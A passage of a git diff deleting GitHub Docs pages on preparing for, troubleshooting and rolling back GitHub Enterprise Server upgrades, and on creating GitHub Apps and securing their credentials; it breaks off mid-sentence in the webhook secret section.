b/content/admin/upgrading-your-instance/preparing-to-upgrade/taking-a-snapshot.md deleted file mode 100644 index ba103ca05553..000000000000 --- a/content/admin/upgrading-your-instance/preparing-to-upgrade/taking-a-snapshot.md +++ /dev/null @@ -1,42 +0,0 @@ ---- - title: Taking a snapshot - intro: 'To save your {% data variables.product.prodname_ghe_server %} data before upgrading, take a virtual machine snapshot.' - redirect_from: - - /admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server#taking-a-snapshot - - /enterprise/admin/installation/upgrading-github-enterprise-server#taking-a-snapshot - versions: - ghes: '*' - type: how_to - topics: - - Enterprise - - Upgrades - shortTitle: Take a snapshot ---- - -## About snapshots - -A snapshot stores the state of a virtual machine (VM) at a point in time. {% data variables.product.company_short %} highly recommends taking a hypervisor level snapshot before upgrading your VM so that if an upgrade fails, you can revert your VM back to the snapshot. - -## Types of snapshots - -There are two types of snapshots: - -* **VM snapshots** save your entire VM state, including user data and configuration data. This snapshot method requires a large amount of disk space and is time consuming. -* **Data disk snapshots** only save your user data. - -## Creating a snapshot - -{% data variables.product.company_short %} only recommends taking a VM snapshot when the instance's VM is powered down, or when the instance is in maintenance mode and all background jobs have finished. - -The type of snapshot you can take depends on the platform you use. - -* Some platforms don't allow you to take a snapshot of just your data disk. For these platforms, you'll need to take a snapshot of the entire VM. -* If your hypervisor does not support full VM snapshots, you should take a snapshot of the root disk and data disk in quick succession. - -| Platform | Snapshot method | Documentation | -|---|---|---| -| Amazon AWS | Disk | [Create Amazon EBS snapshots](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-creating-snapshot.html) in the AWS documentation -| Azure | VM | [Create a snapshot of a virtual hard disk on an Azure VM](https://learn.microsoft.com/azure/virtual-machines/snapshot-copy-managed-disk) in Microsoft Learn -| Hyper-V | VM | [Enable or disable checkpoints in Hyper-V](https://docs.microsoft.com/windows-server/virtualization/hyper-v/manage/enable-or-disable-checkpoints-in-hyper-v) in Microsoft Learn -| Google Compute Engine | Disk | [Create and manage disk snapshots](https://cloud.google.com/compute/docs/disks/create-snapshots) in the Google Cloud documentation -| VMware | VM | [Taking Snapshots of a Virtual Machine](https://docs.vmware.com/en/VMware-vSphere/7.0/com.vmware.vsphere.hostclient.doc/GUID-64B866EF-7636-401C-A8FF-2B4584D9CA72.html) in VMware Docs diff --git a/content/admin/upgrading-your-instance/preparing-to-upgrade/upgrade-requirements.md b/content/admin/upgrading-your-instance/preparing-to-upgrade/upgrade-requirements.md deleted file mode 100644 index ca68718161fa..000000000000 --- a/content/admin/upgrading-your-instance/preparing-to-upgrade/upgrade-requirements.md +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: Upgrade requirements -intro: 'Before upgrading {% data variables.product.prodname_ghe_server %}, review these recommendations and requirements to plan your upgrade strategy.' -redirect_from: - - /enterprise/admin/installation/upgrade-requirements - - /enterprise/admin/guides/installation/finding-the-current-github-enterprise-release - - /enterprise/admin/enterprise-management/upgrade-requirements - - /admin/enterprise-management/upgrade-requirements - - /enterprise/admin/guides/installation/about-upgrade-requirements - - /admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements - - /admin/monitoring-managing-and-updating-your-instance/updating-the-virtual-machine-and-physical-resources/upgrade-requirements - - /admin/monitoring-and-managing-your-instance/updating-the-virtual-machine-and-physical-resources/upgrade-requirements -versions: - ghes: '*' -type: reference -topics: - - Enterprise - - Upgrades ---- - -> [!NOTE] -> * Upgrade packages are available at [enterprise.github.com](https://enterprise.github.com/releases) for supported versions. Verify the availability of the upgrade packages you will need to complete the upgrade. If a package is not available, visit {% data variables.contact.contact_ent_support %} and contact us for assistance. -> * If you're using {% data variables.product.prodname_ghe_server %} Clustering, see [AUTOTITLE](/admin/enterprise-management/configuring-clustering/upgrading-a-cluster) in the {% data variables.product.prodname_ghe_server %} Clustering Guide for specific instructions unique to clustering. -> * The release notes for {% data variables.product.prodname_ghe_server %} provide a comprehensive list of new features for every version of {% data variables.product.prodname_ghe_server %}. For more information, see the [releases page](https://enterprise.github.com/releases). - -## Recommendations - -* Include as few upgrades as possible in your upgrade process. For example, instead of upgrading from {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} to {{ enterpriseServerReleases.supported[1] }} to {{ enterpriseServerReleases.latest }}, you could upgrade from {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} to {{ enterpriseServerReleases.latest }}. Use the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version. -* If you’re several versions behind, upgrade {% data variables.location.product_location %} as far forward as possible with each step of your upgrade process. Using the latest version possible on each upgrade allows you to take advantage of performance improvements and bug fixes. For example, you could upgrade from {% data variables.product.prodname_enterprise %} 2.7 to 2.8 to 2.10, but upgrading from {% data variables.product.prodname_enterprise %} 2.7 to 2.9 to 2.10 uses a later version in the second step. -* Use the latest patch release when upgrading. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} -* Use a staging instance to test the upgrade steps. For more information, see [AUTOTITLE](/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance). -* When running multiple upgrades, ensure data migrations and upgrade tasks running in the background are fully complete before proceeding to the next feature upgrade. To check the status of these processes, you can use the `ghe-migrations` and `ghe-check-background-upgrade-jobs` command-line utilities. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/command-line-utilities#upgrading-github-enterprise-server). -* Take a snapshot before upgrading your virtual machine. For more information, see [AUTOTITLE](/admin/upgrading-your-instance/preparing-to-upgrade/taking-a-snapshot). -* Ensure you have a recent, successful backup of your instance. For more information, see the [{% data variables.product.prodname_enterprise_backup_utilities %} README.md file](https://github.com/github/backup-utils#readme). - -## Requirements - -* You must upgrade from a feature release that's **at most** two releases behind. For example, to upgrade to {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.latest }}, you must be on {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[1] }} or {{ enterpriseServerReleases.supported[2] }}. -* When upgrading using an upgrade package, schedule a maintenance window for {% data variables.product.prodname_ghe_server %} end users. -* {% data reusables.enterprise_installation.hotpatching-explanation %} -* A hotpatch may require downtime if the affected services (like kernel, MySQL, or Elasticsearch) require a VM reboot or a service restart. You'll be notified when a reboot or restart is required. You can complete the reboot or restart at a later time. -* Additional root storage must be available when upgrading through hotpatching, as it installs multiple versions of certain services until the upgrade is complete. Pre-flight checks will notify you if you don't have enough root disk storage. -* When upgrading through hotpatching, your instance cannot be too heavily loaded, as it may impact the hotpatching process. -* Upgrading to {% data variables.product.prodname_ghe_server %} 2.17 migrates your audit logs from Elasticsearch to MySQL. This migration also increases the amount of time and disk space it takes to restore a snapshot. Before migrating, check the number of bytes in your Elasticsearch audit log indices with this command: - -``` shell -curl -s http://localhost:9201/audit_log/_stats/store | jq ._all.primaries.store.size_in_bytes -``` - -Use the number to estimate the amount of disk space the MySQL audit logs will need. The script also monitors your free disk space while the import is in progress. Monitoring this number is especially useful if your free disk space is close to the amount of disk space necessary for migration. - -{% data reusables.enterprise_installation.preflight-checks %} - -## Next steps - -After reviewing these recommendations and requirements, you can upgrade {% data variables.product.prodname_ghe_server %}. For more information, see [AUTOTITLE](/admin/upgrading-your-instance/preparing-to-upgrade/overview-of-the-upgrade-process). diff --git a/content/admin/upgrading-your-instance/troubleshooting-upgrades/index.md b/content/admin/upgrading-your-instance/troubleshooting-upgrades/index.md deleted file mode 100644 index 67e6c37873a1..000000000000 --- a/content/admin/upgrading-your-instance/troubleshooting-upgrades/index.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Troubleshooting upgrades -intro: 'Review common issues and solutions for issues that may impact the upgrade process, or may occur after an upgrade.' -versions: - ghes: '*' -topics: - - Enterprise - - Upgrades -children: - - /restoring-from-a-failed-upgrade - - /known-issues-with-upgrades-to-your-instance -shortTitle: Troubleshoot an upgrade ---- diff --git a/content/admin/upgrading-your-instance/troubleshooting-upgrades/known-issues-with-upgrades-to-your-instance.md b/content/admin/upgrading-your-instance/troubleshooting-upgrades/known-issues-with-upgrades-to-your-instance.md deleted file mode 100644 index fd88c1c2d9d3..000000000000 --- a/content/admin/upgrading-your-instance/troubleshooting-upgrades/known-issues-with-upgrades-to-your-instance.md +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: Known issues with upgrades to your instance -intro: 'See an overview of workarounds for issues that impact the upgrade process for {% data variables.product.prodname_ghe_server %}, or impact your instance after you complete an upgrade.' -versions: - ghes: '*' -type: overview -topics: - - Enterprise - - Troubleshooting - - Upgrades -shortTitle: Known issues with upgrades -redirect_from: - - /admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/known-issues-with-upgrades-to-your-instance - - /admin/monitoring-managing-and-updating-your-instance/updating-the-virtual-machine-and-physical-resources/known-issues-with-upgrades-to-your-instance - - /admin/monitoring-and-managing-your-instance/updating-the-virtual-machine-and-physical-resources/known-issues-with-upgrades-to-your-instance ---- - -## About known issues with {% data variables.product.prodname_ghe_server %} upgrades - -{% data variables.product.company_short %} is aware of the following issues that could impact upgrades to new releases of {% data variables.product.prodname_ghe_server %}. For more information, see "Known issues" in the [{% data variables.product.prodname_ghe_server %} release notes](/admin/release-notes). - -{% data variables.product.company_short %} strongly recommends regular backups of your instance's configuration and data. Before you proceed with any upgrade, back up your instance, then validate the backup in a staging environment. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance) and [AUTOTITLE](/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance). - -{% ifversion ghes < 3.13 %} - -## Recommendations for server resources - -If your appliance averages more than 70% CPU utilization, {% data variables.product.company_short %} strongly recommends scaling up your server resources before upgrading to 3.11 or above. The new hardware or instance type should have more vCPUs to accommodate the additional load from new features and improvements included with the latest releases. -{% endif %} - -{% ifversion ghes > 3.12 and ghes < 3.15 %} - -## Elasticsearch Upgrade - -As part of upgrading GitHub Enterprise Server to version 3.13 or later, the Elasticsearch service will be upgraded. {% data variables.product.company_short %} strongly recommends following the guidance in [AUTOTITLE](/admin/upgrading-your-instance/performing-an-upgrade/preparing-for-the-elasticsearch-upgrade). -{% endif %} - -{% ifversion ghes > 3.14 %} - -## Required root disk size increased to 400GB - -> [!Note] -> The previous root disk size requirement of 400GB for versions 3.15.2 and later has been removed. This requirement was based on analysis of support bundles and support tickets. Some factors, such as logs, put excessive pressure on the root disk which caused appliance issues. After receiving feedback that it's challenging for many customers to procure new hardware, we rolled back the requirement in favor of a gradual approach. We still recommend customers, especially those using standalone or standalone high-availability topologies, upgrade the root disk to 400GB. When you are able to upgrade the root disk to 400GB, see the following instructions. - -To customers using standalone or HA topologies, it is recommended that new installations of 3.15 or later, or upgrades to 3.15 to use root disk size of at least 400GB. {% data variables.product.company_short %} strongly recommends following the guidance in [AUTOTITLE](/admin/monitoring-and-managing-your-instance/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity). - -{% endif %} - -{% ifversion ghes > 3.12 and ghes < 3.15 %} - -## Undecryptable records - -If you are upgrading from {% data variables.product.prodname_ghe_server %} 3.11 or 3.12 to 3.13, or from 3.12 to 3.14, you may run into an issue with undecryptable records due to missing required keys for decryption. The only solution is to delete the undecryptable records. The type of records impacted by this issue are 2FA records, that means you might need to ask users to re-enable two-factor authentication (2FA). - -### Before upgrading - -If you are upgrading from {% data variables.product.prodname_ghe_server %} 3.11 or 3.12 to 3.13, or from 3.12 to 3.14, you can run the encryption diagnostics script to identify the undecryptable records ahead of time. This script will not modify any records but it will give you the opportunity to understand the impact and plan for it. - -1. Download the [encryption diagnostics script](https://gh.io/ghes-encryption-diagnostics). You can use a command like `curl -L -O https://gh.io/ghes-encryption-diagnostics` to download the script. -1. Save the script to the `/data/user/common` directory on the appliance. -1. Follow the instructions at the top of the script and execute it on the appliance. If there are any undecryptable records, they are logged in `/tmp/column_encryption_records_to_be_deleted.log`. Any records logged here were unable to be decrypted because the system was not able to find the keys that were used to encrypt the records. - -Please note that these records will be deleted as part of the upgrade process. The script will warn you about the users who will need to re-enroll into 2FA after the upgrade. The impacted users' handles are logged in `/tmp/column_encryption_users_to_have_2fa_disabled.log`. These users will need to be re-enrolled into 2FA. - -If the script runs into unexpected issues, you will be prompted to [contact {% data variables.contact.github_support %}](/support/contacting-github-support). Errors related to these issues will be logged in `/tmp/column_encryption_unexpected_errors.log`. If you are in a dire situation and are unable to have users re-enroll into 2FA, [contact {% data variables.contact.github_support %}](/support/contacting-github-support) for help. - -The script will print "Success: Encrypted Records OK." if it was able to find the keys associated with the encrypted records. These records will be decrypted and preserved during the upgrade process and require no manual intervention from you. - -### During the upgrade - -In case you did not have the opportunity to run the encryption diagnostics script ahead of time, there are mechanisms in the product to help you. The pre-flight checks during the upgrade process will detect undecryptable records and log them in `/tmp/column_encryption_records_to_be_deleted.log`. The sequence will warn you of the users who will need to re-enable 2FA after the upgrade. The impacted users records are logged in `/tmp/column_encryption_users_to_have_2fa_disabled.log`. - -If undecryptable records are detected, you will be prompted whether you want to proceed with the upgrade or not. If you proceed, the upgrade process deletes the undecryptable records. Otherwise, the upgrade process will exit. - -If you have any questions during the upgrade, you can reach out to {% data variables.contact.github_support %}. Once you have had the time and opportunity to understand the impact, you can retrigger the upgrade. -{% endif %} - -{% ifversion ghes > 3.13 and ghes < 3.17 %} - -## Upgrading from 3.14 to 3.16.0 - -If you are using {% data variables.product.prodname_ghe_server %} 3.14, and you have enabled security products by default at the organization level, you cannot upgrade directly from 3.14 to 3.16.0. To determine your upgrade eligibility, run the following command: - -```shell -ghe-console -y -Organization.any? { |o| [o.vulnerability_updates_enabled_for_new_repos?, o.security_alerts_enabled_for_new_repos?, o.dependency_graph_enabled_for_new_repos?, o.advanced_security_enabled_on_new_repos?, SecretScanning::Features::Org::TokenScanning.new(o).secret_scanning_enabled_for_new_repos?, SecretScanning::Features::Org::PushProtection.new(o).enabled_for_new_repos?].any? } -``` - -If the command returns `true`, a direct upgrade from 3.14 to 3.16.0 will fail, and we recommend you wait for the next 3.16 patch to upgrade. - -Alternatively, you can move to 3.16.0 now by first upgrading from 3.14 to 3.15, then from 3.15 to 3.16.0. - -{% endif %} diff --git a/content/admin/upgrading-your-instance/troubleshooting-upgrades/restoring-from-a-failed-upgrade.md b/content/admin/upgrading-your-instance/troubleshooting-upgrades/restoring-from-a-failed-upgrade.md deleted file mode 100644 index b02e18474559..000000000000 --- a/content/admin/upgrading-your-instance/troubleshooting-upgrades/restoring-from-a-failed-upgrade.md +++ /dev/null @@ -1,28 +0,0 @@ ---- - title: Restoring from a failed upgrade - intro: 'Learn how to roll back from a failed upgrade.' - redirect_from: - - /admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server#restoring-from-a-failed-upgrade - versions: - ghes: '*' - type: how_to - topics: - - Enterprise - - Upgrades - - Troubleshooting - shortTitle: Restore from a failed upgrade ---- - -If an upgrade fails or is interrupted, you should revert your instance back to its previous state. The process for completing this depends on the type of upgrade. - -If your instance is configured for high availability and your primary node upgrade fails, you can promote the (not upgraded) replica to be the primary. You will also need to update your DNS to point to the new primary node. Once you have a working primary node, you can then consider creating a new replica node. See [AUTOTITLE](/admin/monitoring-and-managing-your-instance/configuring-high-availability/about-high-availability-configuration#network-traffic-failover-strategies) and [AUTOTITLE](/admin/monitoring-and-managing-your-instance/configuring-high-availability/recovering-a-high-availability-configuration). - -## Rolling back a patch release - -To roll back a patch release, use the `ghe-upgrade` command with the `--allow-patch-rollback` switch. Before rolling back, replication must be temporarily stopped by running `ghe-repl-stop` on all replica nodes{% ifversion ghes > 3.13 %}, or `ghe-repl-stop-all` on the primary node{% endif %}. {% data reusables.enterprise_installation.command-line-utilities-ghe-upgrade-rollback %} - -After the rollback is complete, restart replication by running `ghe-repl-start` on all nodes{% ifversion ghes > 3.13 %}, or `ghe-repl-start-all` on the primary node{% endif %}. See [AUTOTITLE](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-upgrade). - -## Rolling back a feature release - -To roll back from a feature release, restore from a virtual machine snapshot to ensure that root and data partitions are in a consistent state. See [AUTOTITLE](/admin/upgrading-your-instance/preparing-to-upgrade/taking-a-snapshot). diff --git a/content/apps/creating-github-apps/about-creating-github-apps/about-creating-github-apps.md b/content/apps/creating-github-apps/about-creating-github-apps/about-creating-github-apps.md deleted file mode 100644 index 63338c46c77e..000000000000 --- a/content/apps/creating-github-apps/about-creating-github-apps/about-creating-github-apps.md +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: About creating GitHub Apps -shortTitle: About creating apps -intro: '{% data variables.product.prodname_github_apps %} let you build integrations to automate processes and extend {% data variables.product.company_short %}''s functionality.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /apps/creating-github-apps/creating-github-apps/about-apps - - /apps/building-integrations/setting-up-a-new-integration - - /apps/building-integrations - - /apps/getting-started-with-building-apps - - /apps/about-apps - - /developers/apps/about-apps - - /developers/apps/getting-started-with-apps/about-apps - - /apps/creating-github-apps/setting-up-a-github-app/about-creating-github-apps -topics: - - GitHub Apps ---- - -## About {% data variables.product.prodname_github_apps %} - -A {% data variables.product.prodname_github_app %} is a type of integration that you can build to interact with and extend the functionality of {% data variables.product.company_short %}. You can build a {% data variables.product.prodname_github_app %} to provide flexibility and reduce friction in your processes, without needing to sign in a user or create a service account. - -Common use cases for {% data variables.product.prodname_github_apps %} include: -* Automating tasks or background processes -* Supporting "Sign in with {% data variables.product.company_short %}," which allows users to sign in with their {% data variables.product.prodname_dotcom %} account to provide their identity in your ecosystem -* As a developer tool, allowing users to work with {% data variables.product.prodname_dotcom %} by signing into your {% data variables.product.prodname_github_app %}, which can then act on their behalf -* Integrating your tool or external service with {% data variables.product.company_short %} - -Like {% data variables.product.prodname_oauth_apps %}, {% data variables.product.prodname_github_apps %} use OAuth 2.0 and can act on behalf of a user. Unlike {% data variables.product.prodname_oauth_apps %}, {% data variables.product.prodname_github_apps %} can also act independently of a user. - -{% data variables.product.prodname_github_apps %} can be installed directly on organizations and personal accounts and granted access to specific repositories. They come with built-in webhooks and narrow, specific permissions. - -{% ifversion enterprise-apps-public-beta %} -You can also create an enterprise-owned {% data variables.product.prodname_github_app %} that can only be installed on organizations within your enterprise, and can only be authorized by members of your enterprise. For more information, see [AUTOTITLE](/admin/managing-your-enterprise-account/creating-github-apps-for-your-enterprise). -{% endif %} - -{% data reusables.apps.app_manager_role %} - -## Building a {% data variables.product.prodname_github_app %} - -In order to build a {% data variables.product.prodname_github_app %}, you first need to register a {% data variables.product.prodname_github_app %}. For more information, see [AUTOTITLE](/apps/creating-github-apps/registering-a-github-app/registering-a-github-app). - -Then, you need to write code to add functionality to your {% data variables.product.prodname_github_app %}. You can use the credentials from your {% data variables.product.prodname_github_app %} registration to make authenticated requests to {% data variables.product.company_short %}'s APIs. For more information about writing code for your {% data variables.product.prodname_github_app %}, see [AUTOTITLE](/apps/creating-github-apps/writing-code-for-a-github-app/about-writing-code-for-a-github-app). For more information about making authenticated requests, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/about-authentication-with-a-github-app). - -Once you have written the code for your {% data variables.product.prodname_github_app %}, your app needs to run somewhere. If your app is a website or web app, you might host your app on a server like [Azure App Service](https://azure.microsoft.com/products/app-service/). If your app is a client-side app, it might run on a user's device. - -To use your {% data variables.product.prodname_github_app %}, you need to install it on your organization or personal account. - -* If your {% data variables.product.prodname_github_app %} is **private**, you can only install it on the account that owns the app. -* If your {% data variables.product.prodname_github_app %} is **public**, other users and organizations can also install it.{% ifversion enterprise-apps-public-beta %} -* If your {% data variables.product.prodname_github_app %} is owned by an **enterprise**, you can install it on any organization within that enterprise.{% endif %} - -For more information, see [AUTOTITLE](/apps/using-github-apps/installing-your-own-github-app) and [AUTOTITLE](/apps/sharing-github-apps/sharing-your-github-app). - -## Understanding what type of {% data variables.product.prodname_github_app %} to build - -There are multiple ways to design a {% data variables.product.prodname_github_app %} that you will want to consider, based on the functionality you want the app to have. - -### {% data variables.product.prodname_github_apps %} that act on behalf of a user - -If you want your app to take actions on behalf of a user, you should use a user access token for authentication. This type of request is sometimes called "user-to-server," and it means that the app will be limited by the permissions that have been given to the app as well as the user's permission. With this pattern, the user must authorize the app before the app can take action. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-with-a-github-app-on-behalf-of-a-user). - -Some examples of automations you could create with a {% data variables.product.prodname_github_app %}, where the app acts on a user's behalf, include: -* A {% data variables.product.prodname_github_app %} that uses {% data variables.product.prodname_dotcom %} as an identity provider for your ecosystem. -* A {% data variables.product.prodname_github_app %} that adds a service on top of {% data variables.product.github %} that might be useful to a {% data variables.product.prodname_dotcom %} user. You can share the app with other developers via {% data variables.product.prodname_marketplace %} or by making the app public. - -### {% data variables.product.prodname_github_apps %} that act on their own behalf - -If you want your app to take actions on behalf of itself, rather than a user, you should use an installation access token for authentication. This type of request is sometimes called "server-to-server," and it means that the app will be limited by the permissions that have been given to the app. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-as-a-github-app-installation). - -Some examples of automations you could create with a {% data variables.product.prodname_github_app %}, where the app acts on its own behalf, include: -* A {% data variables.product.prodname_github_app %} that uses webhooks to react to an event given a certain set of criteria. For example, you could create an automation around the REST API endpoints for [reviewing requests for {% data variables.product.pat_v2 %}](/rest/orgs/personal-access-tokens?apiVersion=2022-11-28#review-requests-to-access-organization-resources-with-fine-grained-personal-access-tokens) that approves a request given a certain policy. -* A {% data variables.product.prodname_github_app %} that helps repository contributors. For example, the app could post helpful resources after a contributor creates a pull request or makes a comment. -* A {% data variables.product.prodname_github_app %} that generates short-lived tokens to give to other CI/CD tools, or to pull information from a repository. - -### {% data variables.product.prodname_github_apps %} that respond to webhooks - -If you want your app to respond to events on {% data variables.product.prodname_dotcom %}, your app should subscribe to webhooks. For example, you may want your app to leave a comment when a pull request is opened. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/using-webhooks-with-github-apps). - -### {% data variables.product.prodname_github_apps %} that can take certain actions - -When you set up your {% data variables.product.prodname_github_app %}, you can select specific permissions for the app. These permissions determine what the app can do via the {% data variables.product.prodname_dotcom %} API, what they can do on behalf of a signed in user, and what webhooks the app can receive. For more information, see [AUTOTITLE](/apps/creating-github-apps/registering-a-github-app/choosing-permissions-for-a-github-app). diff --git a/content/apps/creating-github-apps/about-creating-github-apps/best-practices-for-creating-a-github-app.md b/content/apps/creating-github-apps/about-creating-github-apps/best-practices-for-creating-a-github-app.md deleted file mode 100644 index dfcb1414fe8e..000000000000 --- a/content/apps/creating-github-apps/about-creating-github-apps/best-practices-for-creating-a-github-app.md +++ /dev/null @@ -1,154 +0,0 @@ ---- -title: Best practices for creating a GitHub App -shortTitle: Best practices -intro: 'Follow these best practices to improve the security and performance of your {% data variables.product.prodname_github_app %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps -redirect_from: - - /apps/creating-github-apps/setting-up-a-github-app/best-practices-for-creating-a-github-app ---- - -## Select the minimum permissions required - -When you register a {% data variables.product.prodname_github_app %}, select the minimum permissions that your {% data variables.product.prodname_github_app %} needs. If any keys or tokens for your app become compromised, this will limit the amount of damage that can occur. For more information about how to choose permissions, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/choosing-permissions-for-a-github-app). - -When your {% data variables.product.prodname_github_app %} creates an installation access token or user access token, you can further limit the repositories that the app can access and the permissions that the token has. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/generating-an-installation-access-token-for-a-github-app) and [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/generating-a-user-access-token-for-a-github-app). - -## Stay under the rate limit - -Subscribe to webhook events instead of polling the API for data. This will help your {% data variables.product.prodname_github_app %} stay within the API rate limit. For more information, see [AUTOTITLE](/apps/creating-github-apps/creating-github-apps/using-webhooks-with-github-apps) and [AUTOTITLE](/apps/creating-github-apps/guides/building-a-github-app-that-responds-to-webhook-events). - -Consider using conditional requests to help you stay within the rate limit. For more information about conditional requests, see [AUTOTITLE](/rest/guides/best-practices-for-using-the-rest-api). - -If possible, consider using consolidated GraphQL queries instead of REST API requests to help you stay within rate limits. For more information, see [AUTOTITLE](/rest/overview/about-githubs-apis) and [AUTOTITLE](/graphql). - -If you do hit a rate limit and need to retry an API request, use the `x-ratelimit-reset` or `Retry-After` response headers. If these headers are not available, wait for an exponentially increasing amount of time between retries, and throw an error after a specific number of retries. For more information, see [AUTOTITLE](/rest/guides/best-practices-for-integrators#dealing-with-rate-limits). - -## Secure your app's credentials - -You can generate a private key and client secret for your {% data variables.product.prodname_github_app %}. With these credentials, your app can generate installation access tokens, user access tokens, and refresh tokens. These tokens can be used to make API requests on behalf of an app installation or user. - -You must store these credentials securely. The storage mechanism depends on your integrations architecture and the platform that it runs on. In general, you should use a storage mechanism that is intended to store sensitive data on the platform that you are using. - -### Private keys - -The private key for your {% data variables.product.prodname_github_app %} grants access to every account that the app is installed on. - -Consider storing your {% data variables.product.prodname_github_app %}'s private key in a key vault, such as [Azure Key Vault](https://azure.microsoft.com/en-gb/products/key-vault), and making it sign-only. - -Alternatively, you can store the key as an environment variable. However, this not as strong as storing the key in a key vault. If an attacker gains access to the environment, they can read the private key and gain persistent authentication as the {% data variables.product.prodname_github_app %}. - -You should never hard code your private key in your app, even if your code is stored in a private repository. If your app is a native client, client-side app, or runs on a user device (as opposed to running on your servers), you should never ship your private key with your app. - -You should not generate more private keys than you need. You should delete private keys that you no longer need. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/managing-private-keys-for-github-apps). - -### Client secrets - -Client secrets are used to generate user access tokens for your app, unless your app uses device flow. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/generating-a-user-access-token-for-a-github-app#using-the-device-flow-to-generate-a-user-access-token). - -If your app is a website or web app, consider storing your client secret in a key vault, such as [Azure Key Vault](https://azure.microsoft.com/products/key-vault), or as an encrypted environment variable or secret on your server. - -If your app is a native client, client-side app, or runs on a user device (as opposed to running on your servers), you cannot secure your client secret. You should use caution if you plan to gate access to your own services based on tokens generated by your app because anyone can access the client secret to generate a token. - -### Installation access tokens, user access tokens, and refresh tokens - -Installation access tokens are used to make API requests on behalf of an app installation. User access tokens are used to make API requests on behalf of a user. Refresh tokens are used to regenerate user access tokens. Your app can use its private key to generate an installation access token. Your app can use its client secret to generate a user access token and refresh token. - -If your app is a website or web app, you should encrypt the tokens on your back end and ensure there is security around the systems that can access the tokens. Consider storing refresh tokens in a separate place from active access tokens. - -If your app is a native client, client-side app, or runs on a user device (as opposed to running on your servers), you may not be able to secure tokens as well as an app that runs on your servers. You should not generate installation access tokens since doing so requires a private key. Instead, you should generate user access tokens. You should store tokens via the mechanism recommended for your app's platform, and keep in mind that the storage mechanism may not be fully secure. - -## Use the appropriate token type - -{% data variables.product.prodname_github_apps %} can generate installation access tokens or user access tokens in order to make authenticated API requests. - -Installation access tokens will attribute activity to your app. These are useful for automations that act independently of users. - -User access tokens will attribute activity to a user and to your app. These are useful for taking actions based on user input or on behalf of a user. - -An installation access token is restricted based on the {% data variables.product.prodname_github_app %}'s permissions and access. A user access token is restricted based on both the {% data variables.product.prodname_github_app %}'s permission and access and the user's permission and access. Therefore, if your {% data variables.product.prodname_github_app %} takes an action on behalf of a user, it should always use a user access token instead of an installation access token. Otherwise, your app might allow a user to see or do things that they shouldn't be able to see or do. - -Your app should never use a {% data variables.product.pat_generic %} or {% data variables.product.company_short %} password to authenticate. - -## Authorize thoroughly and durably - -After signing in a user, app developers must take additional steps to ensure that the user is meant to have access to the data in your system. Each sign in requires fresh checks around their memberships, access, and their current SSO status. - -### Use the durable, unique `id` to store the user - -{% data reusables.apps.best-practice-use-durable-id %} - -### Validate organization access for every new authentication - -{% data reusables.apps.best-practice-validate-org-access %} - -### Store user data with organizational and enterprise contexts - -{% data reusables.apps.best-practice-store-data-with-context %} - -## Expire tokens - -{% data variables.product.company_short %} strongly encourages you to use user access tokens that expire. If you previously opted out of using user access tokens that expire but want to re-enable this feature, see [AUTOTITLE](/apps/maintaining-github-apps/activating-optional-features-for-github-apps). - -Installation access tokens expire after one hour, expiring user access tokens expire after eight hours, and refresh tokens expire after six months. However, you can also revoke tokens as soon as you no longer need them. For more information, see [`DELETE /installation/token`](/rest/apps/installations#revoke-an-installation-access-token) to revoke an installation access token and [`DELETE /applications/{client_id}/token`](/rest/apps/oauth-applications#delete-an-app-token) to revoke a user access token. - -## Cache tokens - -User access tokens and installation access tokens are meant to be used until they expire. You should cache tokens that you create. Before you create a new token, check your cache to see if you already have a valid token. Reusing tokens will make your app faster since it will make fewer requests to generate tokens. - -## Make a plan for handling security breaches - -You should have a plan in place so that you can handle any security breaches in a timely manner. - -In the event that your app's private key or secret is compromised, you will need to generate a new key or secret, update your app to use the new key or secret, and delete your old key or secret. - -In the event that installation access tokens, user access tokens, or refresh tokens are compromised, you should immediately revoke these tokens. For more information, see [`DELETE /installation/token`](/rest/apps/installations#revoke-an-installation-access-token) to revoke an installation access token and [`DELETE /applications/{client_id}/token`](/rest/apps/oauth-applications#delete-an-app-token) to revoke a user access token. - -## Conduct regular vulnerability scans - -{% data reusables.apps.app-scans %} - -## Choose an appropriate environment - -If your app runs on a server, verify that your server environment is secure and that it can handle the volume of traffic that you expect for your app. - -## Subscribe to the minimum webhooks - -Only subscribe to the webhook events that your app needs. This will help reduce latency since your app won't be receiving payloads that it doesn't need. - -## Use a webhook secret - -You should set a webhook secret for your {% data variables.product.prodname_github_app %} and verify that the signature of incoming webhook events match the secret. This helps to ensure that the incoming webhook event is a valid 